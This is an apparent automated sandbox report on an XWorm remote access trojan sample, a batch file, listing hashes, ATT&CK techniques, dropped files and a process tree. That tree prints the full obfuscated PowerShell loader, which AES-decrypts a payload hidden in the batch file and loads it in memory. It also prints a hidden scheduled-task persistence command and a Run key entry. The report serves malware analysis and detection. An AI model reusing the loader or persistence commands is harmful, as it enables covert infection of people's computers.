xworm | dc1b052dcf3e8b2764e7e918f51d42ccf68c885fd188dee494272d7a4d586eaf

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
27/05/2026, 08:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SystemSys.bat
Size 298KB
Sample260527-kbabsabv91
SHA256 dc1b052dcf3e8b2764e7e918f51d42ccf68c885fd188dee494272d7a4d586eaf
MD5 1009f34971d370167e0184c0702f9d0b
SHA1 b229faa67fb963211975cd49d3b7ee1f3ca40427
SHA512 11f45008c79ab823d45ab3eae231821b6f27ae3e98c516ca655613de8adc4b6e378c91994c821cbfb00e000d0c047040245c27a1d0b4000bd639c5f9b736d98f
SSDEEP 6144:T/4CmbW6juwMQro0ndj4CYdL76bb7Mug1NQBqmiKJSG:TxQRKLQRN4CYp4EyFJd
TLSH
T1E854CE6336D1E844CB68896263CDDA27583366876B8B1880DE73D70E737374269B16CF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution xworm persistence rat trojan

Malware Config

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2316-48-0x0000018BE0390000-0x0000018BE03AC000-memory.dmp	family_xworm

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2316	powershell.exe
6	2316	powershell.exe
7	2316	powershell.exe
9	2316	powershell.exe
13	2316	powershell.exe
15	2316	powershell.exe
16	2316	powershell.exe
17	2316	powershell.exe
18	2316	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe
1520	powershell.exe
3568	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2400	SystemFile.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemFile = "C:\\Users\\Admin\\AppData\\Roaming\\SystemFile.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1520	powershell.exe
1520	powershell.exe
3568	powershell.exe
3568	powershell.exe
2316	powershell.exe
2316	powershell.exe
2400	SystemFile.exe
2400	SystemFile.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeIncreaseQuotaPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeTakeOwnershipPrivilege	3568	powershell.exe
Token: SeLoadDriverPrivilege	3568	powershell.exe
Token: SeSystemProfilePrivilege	3568	powershell.exe
Token: SeSystemtimePrivilege	3568	powershell.exe
Token: SeProfSingleProcessPrivilege	3568	powershell.exe
Token: SeIncBasePriorityPrivilege	3568	powershell.exe
Token: SeCreatePagefilePrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeRestorePrivilege	3568	powershell.exe
Token: SeShutdownPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeSystemEnvironmentPrivilege	3568	powershell.exe
Token: SeRemoteShutdownPrivilege	3568	powershell.exe
Token: SeUndockPrivilege	3568	powershell.exe
Token: SeManageVolumePrivilege	3568	powershell.exe
Token: 33	3568	powershell.exe
Token: 34	3568	powershell.exe
Token: 35	3568	powershell.exe
Token: 36	3568	powershell.exe
Token: SeIncreaseQuotaPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeTakeOwnershipPrivilege	3568	powershell.exe
Token: SeLoadDriverPrivilege	3568	powershell.exe
Token: SeSystemProfilePrivilege	3568	powershell.exe
Token: SeSystemtimePrivilege	3568	powershell.exe
Token: SeProfSingleProcessPrivilege	3568	powershell.exe
Token: SeIncBasePriorityPrivilege	3568	powershell.exe
Token: SeCreatePagefilePrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeRestorePrivilege	3568	powershell.exe
Token: SeShutdownPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeSystemEnvironmentPrivilege	3568	powershell.exe
Token: SeRemoteShutdownPrivilege	3568	powershell.exe
Token: SeUndockPrivilege	3568	powershell.exe
Token: SeManageVolumePrivilege	3568	powershell.exe
Token: 33	3568	powershell.exe
Token: 34	3568	powershell.exe
Token: 35	3568	powershell.exe
Token: 36	3568	powershell.exe
Token: SeIncreaseQuotaPrivilege	3568	powershell.exe
Token: SeSecurityPrivilege	3568	powershell.exe
Token: SeTakeOwnershipPrivilege	3568	powershell.exe
Token: SeLoadDriverPrivilege	3568	powershell.exe
Token: SeSystemProfilePrivilege	3568	powershell.exe
Token: SeSystemtimePrivilege	3568	powershell.exe
Token: SeProfSingleProcessPrivilege	3568	powershell.exe
Token: SeIncBasePriorityPrivilege	3568	powershell.exe
Token: SeCreatePagefilePrivilege	3568	powershell.exe
Token: SeBackupPrivilege	3568	powershell.exe
Token: SeRestorePrivilege	3568	powershell.exe
Token: SeShutdownPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeSystemEnvironmentPrivilege	3568	powershell.exe
Token: SeRemoteShutdownPrivilege	3568	powershell.exe
Token: SeUndockPrivilege	3568	powershell.exe
Token: SeManageVolumePrivilege	3568	powershell.exe
Token: 33	3568	powershell.exe
Token: 34	3568	powershell.exe
Token: 35	3568	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 6064 wrote to memory of 1520	6064	cmd.exe	80
PID 1520 wrote to memory of 3568	1520	powershell.exe	82
PID 1520 wrote to memory of 5252	1520	powershell.exe	84
PID 5252 wrote to memory of 2168	5252	WScript.exe	85
PID 2168 wrote to memory of 2316	2168	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SystemSys.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:6064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RKNWUgxds1XKtQBmatgl2akKrR8r9LmAp9YrfAHZUrU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hcg0TzquIC78RaENi1JLcw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vEeIj=New-Object System.IO.MemoryStream(,$param_var); $lyqVU=New-Object System.IO.MemoryStream; $tVnlp=New-Object System.IO.Compression.GZipStream($vEeIj, [IO.Compression.CompressionMode]::Decompress); $tVnlp.CopyTo($lyqVU); $tVnlp.Dispose(); $vEeIj.Dispose(); $lyqVU.Dispose(); $lyqVU.ToArray();}function execute_function($param_var,$param2_var){ $WUUwq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Ubbco=$WUUwq.EntryPoint; $Ubbco.Invoke($null, $param2_var);}$qwtWp = 'C:\Users\Admin\AppData\Local\Temp\SystemSys.bat';$host.UI.RawUI.WindowTitle = $qwtWp;$ZRynW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qwtWp).Split([Environment]::NewLine);foreach ($aStCX in $ZRynW) { if ($aStCX.StartsWith(':: ')) { $thyfU=$aStCX.Substring(3); break; }}$payloads_var=[string[]]$thyfU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_795_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_795.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3568
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_795.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_795.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2168
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RKNWUgxds1XKtQBmatgl2akKrR8r9LmAp9YrfAHZUrU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hcg0TzquIC78RaENi1JLcw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vEeIj=New-Object System.IO.MemoryStream(,$param_var); $lyqVU=New-Object System.IO.MemoryStream; $tVnlp=New-Object System.IO.Compression.GZipStream($vEeIj, [IO.Compression.CompressionMode]::Decompress); $tVnlp.CopyTo($lyqVU); $tVnlp.Dispose(); $vEeIj.Dispose(); $lyqVU.Dispose(); $lyqVU.ToArray();}function execute_function($param_var,$param2_var){ $WUUwq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Ubbco=$WUUwq.EntryPoint; $Ubbco.Invoke($null, $param2_var);}$qwtWp = 'C:\Users\Admin\AppData\Roaming\startup_str_795.bat';$host.UI.RawUI.WindowTitle = $qwtWp;$ZRynW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qwtWp).Split([Environment]::NewLine);foreach ($aStCX in $ZRynW) { if ($aStCX.StartsWith(':: ')) { $thyfU=$aStCX.Substring(3); break; }}$payloads_var=[string[]]$thyfU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:2316

C:\Users\Admin\AppData\Roaming\SystemFile.exe
C:\Users\Admin\AppData\Roaming\SystemFile.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
MD5 9f3107a91c0a75eb75418f89fe7dcbcd
SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
TLSH
T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6d266b3c94b03d8ed8648328f707c58177b2075c963aff4cbe6576d93df518b8
MD5 824da05d0f31c23ab953467d7a3812f7
SHA1 48349c5986cb56777bf77e747eafbc2f87dfc2c1
SHA512 5c35ada146f86ebaefc96d82f7176f7ccabf179a5297b04fb7f56a88cb6a8a1b1bb159b04599cf8f581f49a08137530aa3cc8a1e5c67a383880c6998e84c5367
TLSH
T134216B37B39CC126C899117A148DAD00B6B5C3D700AFCE8B7A85C614EA3F599DB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_jy43mpsg.twr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jy43mpsg.twr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

SystemFile.exe

Path C:\Users\Admin\AppData\Roaming\SystemFile.exe
Size 440KB
SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
MD5 0e9ccd796e251916133392539572a374
SHA1 eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA512 e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d
SSDEEP 6144:OuI3gVwnnSIonp/DWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzJ:ewzIoFW2KXzJ4pdd3klnnWosPhnzq
TLSH
T191A45A876B9412D1EC3EC035D82744520721BCBED791A7EF99D8F2390E712D0993EA6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

startup_str_795.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_795.bat
Size 298KB
SHA256 dc1b052dcf3e8b2764e7e918f51d42ccf68c885fd188dee494272d7a4d586eaf
MD5 1009f34971d370167e0184c0702f9d0b
SHA1 b229faa67fb963211975cd49d3b7ee1f3ca40427
SHA512 11f45008c79ab823d45ab3eae231821b6f27ae3e98c516ca655613de8adc4b6e378c91994c821cbfb00e000d0c047040245c27a1d0b4000bd639c5f9b736d98f
SSDEEP 6144:T/4CmbW6juwMQro0ndj4CYdL76bb7Mug1NQBqmiKJSG:TxQRKLQRN4CYp4EyFJd
TLSH
T1E854CE6336D1E844CB68896263CDDA27583366876B8B1880DE73D70E737374269B16CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

startup_str_795.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_795.vbs
Size 115B
SHA256 9bc54315c66125d2679f8e5f5f0987df4ea946ddd6ba09a93ecacec67f290753
MD5 36b142400f9273bb75e3b008f8b3b0b7
SHA1 046b17f207f4b795c181bd16ae36479cefd5f2e3
SHA512 7c43be692a2c9a109b39d170d8b9ef8bbeb3d508cc4be41b4a01dbd1cc72df14d9af5ae890533ba38457b76356e70d30e0d4f8128a9321bfbbb55a22735b43a1
TLSH
T1D1B092292189898B2D0551A31B72840C89A099802A44ABA6CB0185DD10B8608B9AA043
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1520-10-0x0000021739F90000-0x0000021739FCA000-memory.dmp

Download

memory/1520-1-0x0000021739C30000-0x0000021739C40000-memory.dmp

Download

memory/1520-0-0x0000021739C30000-0x0000021739C40000-memory.dmp

Download

memory/1520-2-0x0000021739C80000-0x0000021739CA2000-memory.dmp

Download

memory/1520-9-0x0000021739F20000-0x0000021739F28000-memory.dmp

Download

memory/2316-48-0x0000018BE0390000-0x0000018BE03AC000-memory.dmp

Download

memory/2400-57-0x00000138FF940000-0x00000138FF986000-memory.dmp

Download

memory/3568-29-0x0000011EF3C40000-0x0000011EF3C4A000-memory.dmp

Download

memory/3568-12-0x0000011EF38E0000-0x0000011EF38F0000-memory.dmp

Download

memory/3568-13-0x0000011EF38E0000-0x0000011EF38F0000-memory.dmp

Download

memory/3568-30-0x0000011EF3C70000-0x0000011EF3C8C000-memory.dmp

Download

memory/3568-20-0x0000011EF38E0000-0x0000011EF38F0000-memory.dmp

Download

memory/3568-28-0x0000011EF3B80000-0x0000011EF3C33000-memory.dmp

Download

memory/3568-27-0x0000011EF3B60000-0x0000011EF3B7C000-memory.dmp

Download